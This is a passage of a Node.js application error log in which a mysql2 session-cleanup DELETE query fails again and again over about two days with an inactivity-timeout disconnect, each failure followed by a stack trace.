  sql: "delete from `sessions` where expired < CAST('2026-01-07 21:36:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 22:16:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 22:16:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 22:57:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 22:57:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 23:40:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 23:40:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 00:03:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 00:03:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 00:08:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 00:08:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 01:38:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 01:38:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 03:42:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 03:42:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 03:51:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 03:51:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 04:09:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 04:09:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 08:56:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 08:56:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 13:01:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 13:01:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 15:23:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 15:23:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 15:34:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 15:34:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 16:03:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 16:03:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 16:53:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 16:53:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 16:53:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 16:53:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 17:11:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 17:11:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 17:25:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 17:25:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-08 17:41:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-08 17:41:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 01:02:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 01:02:37' as DATETIME)"
}
